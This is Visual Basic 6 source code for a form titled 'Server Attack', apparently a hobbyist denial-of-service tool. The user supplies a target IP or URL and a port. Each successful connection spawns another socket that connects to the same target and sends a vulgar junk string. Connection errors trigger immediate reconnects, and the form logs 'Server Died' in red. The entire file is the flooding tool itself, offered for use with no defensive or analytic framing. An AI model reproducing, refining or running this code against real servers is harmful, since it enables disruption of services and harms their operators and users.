Dim x As Integer
 
Dim attack As Boolean
 
--------------------------------------------------
 
Private Sub Attack_Click(Index As Integer)
 
If Text1.Text = "" Then
 
MsgBox "Please enter a valid ip or url"
 
Else
 
With w(0)
 
  .Connect Text1.Text, Text2.Text
 
End With
 
End If
 
End Sub
 
---------------------------------------------------
 
Private Sub Stop_Click(Index As Integer)
 
For i = 1 To x
 
Unload w(i)
 
DoEvents
 
Next i
 
w(Index).Close
 
w(0).Close
 
attack = False
 
stopped "Attack stopped at " & Time
 
x = 0
 
End Sub
 
 
 
---------------------------------------------------
 
 
 
Private Sub Clear_Click()
 
text3.Text = ""
 
End Sub
 
---------------------------------------------------
 
Public Sub looping()
 
x = x + 1
 
Load w(x)
 
With w(x)
 
.Connect Text1.Text, Text2.Text
 
End With
 
DoEvents
 
End Sub
 
---------------------------------------------------
 
 
 
Public Sub alive(txt As String)
 
Dim a As String
 
a = vbCrLf & txt
 
With text3
 
.SelStart = Len(.TextRTF)
 
.SelLength = Len(a)
 
  .SelColor = vbGreen
 
   .SelText = a
 
End With
 
End Sub
 
---------------------------------------------------
 
Public Sub dead(txt As String)
 
Dim a As String
 
a = vbCrLf & txt
 
With text3
 
.SelStart = Len(.TextRTF)
 
.SelLength = Len(a)
 
  .SelColor = vbRed
 
   .SelText = a
 
End With
 
End Sub
 
---------------------------------------------------
 
Public Sub stopped(txt As String)
 
Dim a As String
 
a = vbCrLf & txt
 
With text3
 
.SelStart = Len(.TextRTF)
 
  .SelLength = Len(a)
 
   .SelColor = vbYellow
 
    .SelText = a
 
End With
 
End Sub
 
---------------------------------------------------
 
Public Sub loadd(txt As String)
 
Dim a As String
 
a = txt
 
With text3
 
.SelStart = Len(.TextRTF)
 
.SelLength = Len(a)
 
  .SelColor = vbBlue
 
   .SelText = a
 
End With
 
End Sub
 
 
 
---------------------------------------------------
 
 
 
Private Sub w_Connect(Index As Integer)
 
attack = True
 
Dim pck$
 
 
 
pck$ = "SUCKONMABALLSACK"
 
 
 
looping
 
w(Index).SendData (pck$)
 
alive "Attacking Server " & w(Index).LocalPort & ":" & x
 
Me.Caption = "Server Attack(" & x & " " & "connections)"
 
DoEvents
 
End Sub
 
---------------------------------------------------
 
Private Sub w_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
 
dead "Server Died @ " & Time
 
With w(Index)
 
.Close
 
.Connect Text1.Text, Text2.Text
 
End With
 
DoEvents
 
End Sub
 
 
 
---------------------------------------------------